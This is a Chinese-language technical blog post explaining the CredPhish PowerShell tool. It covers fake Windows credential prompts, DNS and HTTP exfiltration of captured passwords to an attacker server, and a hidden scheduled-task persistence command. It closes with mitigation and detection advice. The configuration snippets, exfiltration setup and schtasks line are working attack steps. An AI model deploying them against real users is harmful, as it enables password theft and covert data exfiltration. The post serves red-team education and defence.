使用PowerShell进行用户密码钓鱼攻击的技术解析

本文详细介绍了如何使用PowerShell脚本CredPhish进行凭证钓鱼攻击,包括DNS与HTTP数据外传技术、Windows CredentialPicker API的利用,以及防御检测方案。涵盖技术实现细节和MITRE ATT&CK框架关联内容。

如何使用PowerShell进行用户密码钓鱼攻击

伪造凭证提示是一种有效的权限提升和横向移动技术。在Windows环境中,用户经常会遇到Outlook、VPN及其他认证协议随机弹出的密码提示窗口。攻击者会滥用Windows和PowerShell的内置功能调用凭证弹窗以获取用户密码。

根据MITRE ATT&CK框架的定义:

“当需要额外权限的程序被执行时……操作系统通常会提示用户输入正确凭证以授权任务提升权限。攻击者可能模仿常见操作系统组件,通过PowerShell等语言显示看似合法的凭证提示。”

什么是CredPhish?

CredPhish是一个PowerShell脚本,用于调用凭证提示并外传密码。它依赖CredentialPicker API收集用户密码,使用PowerShell的Resolve-DnsName进行DNS外传,并利用Windows Defender的ConfigSecurityPolicy.exe执行任意GET请求。

下图展示了CredPhish的运行示例。注意在Windows安全提示中提交凭证后,凭据立即被发送到攻击者的DNS服务器。

默认情况下,CredPhish使用PowerShell内置的DNS解析器Resolve-DnsName外传凭证。它会将凭证中的每个字符转换为十六进制值,将转换后的值分割为预定义块,并将这些块放入热门网站的子域名中。以下截图展示了十六进制形式的外传凭证示例。注意google.com和office.com子域名中的“tokyoneon”十六进制值(746f6b796f6e656f6e)。

在解析DNS查询之前,DNS服务器会剥离十六进制子域名以避免产生大量错误响应。在下面的Wireshark截图中,注意“Answers”字段不再包含子域名,并成功解析到Google的一个IP地址。

CredPhish.ps1配置

credphish.ps1被设计为独立脚本,不需要Import-Module(常见的入侵指标)。可配置选项以变量形式位于PS1脚本顶部,以避免冗长的命令行参数。

第一行最为重要,它定义了外传数据的发送目的地(即攻击者的Kali服务器)。

1
2
# exfil address
$exfilServer = "192.168.56.112"

接下来,几个变量定义了提示窗口如何显示给目标用户。$promptCaption定义了请求用户凭证的“应用程序”(如“Microsoft Office”)。$promptMessage通常指定与请求关联的账户。

1
2
3
4
5
6
7
8
# prompt
$targetUser = $env:username
$companyEmail = "blackhillsinfosec.com"
$promptCaption = "Microsoft Office"
$promptMessage = "Connecting to: $targetUser@$companyEmail"
$maxTries = 1 # 调用提示的最大次数
$delayPrompts = 2 # 提示之间的延迟秒数
$validateCredentials = $false # 中断$maxTries并在凭证有效时立即外传

$maxTries变量定义了提示窗口在目标提交凭证前显示的次数。为避免怀疑,默认值为1。$delayPrompts变量定义了每次提示之间的秒数(如果$maxTries大于1)。默认禁用的$validateCredentials会尝试在提升权限上下文中使用Start-Process本地验证提交的凭证。如果启用且凭证验证通过,则忽略$maxTries,并立即将数据发送到攻击者服务器。

外传方法

如前所述,DNS外传是向攻击者服务器传递密码的默认方法。$exfilDomains列表包含用于DNS查询的各种随机选择的域名。$subdomainLength变量决定了每个子域名的所需长度。

1
2
3
4
5
6
# dns
# 在Kali启动DNS服务器: python3 /path/to/credphish/dns_server.py
$enableDnsExfil = $true
$exfilDomains = @('.microsoft.com', '.google.com', '.office.com', '.live.com') # 用于DNS外传的域名
$randomDelay = get-random -minimum 5 -maximum 20 # DNS查询之间的随机延迟
$subdomainLength = 6 # 子域名中的最大字符数。必须是2-60之间的偶数,否则查询会中断

要拦截通过DNS外传功能发送的凭证,在Kali中执行dns_server.py脚本。按Ctrl + c终止DNS服务器,它将重建拦截的明文凭证。

CredPhish内置的另一种外传方法是HTTP请求。它利用Windows Defender中包含的二进制文件“ConfigSecurityPolicy.exe”将凭证传递到攻击者服务器。将$enableHttpExfil变量设置为$true以启用它。

1
2
3
4
# http
# 在Kali启动HTTP服务器: python3 -m http.server 80
$enableHttpExfil = $false
$ConfigSecurityPolicy = "C:\Prog*Files\Win*Defender\ConfigSecurityPolicy.exe"

要拦截通过ConfigSecurityPolicy.exe发送的凭证,在Kali中启动一个简单的HTTP服务器,在日志中捕获它们。

在网络上,外传的凭证将如下所示。

1
2
3
4
5
6
7
GET /DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
Host: 192.168.56.104
Connection: Keep-Alive

由于凭证在传输前进行了URL编码,使用Burp的Decoder模块观察数据或使用Python的urllib库通过命令行进行URL解码。

1
2
3
>>> from urllib.parse import unquote
>>> unquote("/DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D")
'/DESKTOP-S4DAAF0[tokyoneon:#!Extr3m3Ly_&ecuRe-P@ssw%rD#]'

CredPhish.ps1执行

要快速测试CredPhish,将credphish.ps1移动到目标Windows 10机器并使用PowerShell执行。

一种持久化执行方法可能涉及任务计划程序(Task Scheduler),这是Windows的一个组件,能够在预定间隔调度脚本执行。以下schtasks示例将每2分钟执行一次credphish.ps1。

1
schtasks /create /sc minute /mo 2 /tn "credphish" /tr "powershell -ep bypass -WindowStyle Hidden C:\path\to\credPhish\credphish.ps1"

缓解与检测

CredPhish源自Invoke-LoginPrompt、CredsLeaker和Stitch等项目,并非密码钓鱼的万能解决方案。由于这类攻击通常非常有针对性且用户特定,总有改进空间。更激进的方法可能涉及使用Cobalt Strike伪造整个Windows 10锁屏并通过这种方式捕获凭证。

这类攻击技术滥用系统功能,不易通过预防性控制缓解。MITRE ATT&CK框架建议:

  • 开展用户培训,提高对潜在恶意事件和对话框(如Office文档提示输入凭证)的意识和怀疑。
  • 监控进程执行,查找异常程序和恶意的“命令和脚本解释器”实例,这些实例会提示用户输入凭证。
  • 检查并仔细审查输入提示的非法指标,如非传统横幅、文本、时间和/或来源。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计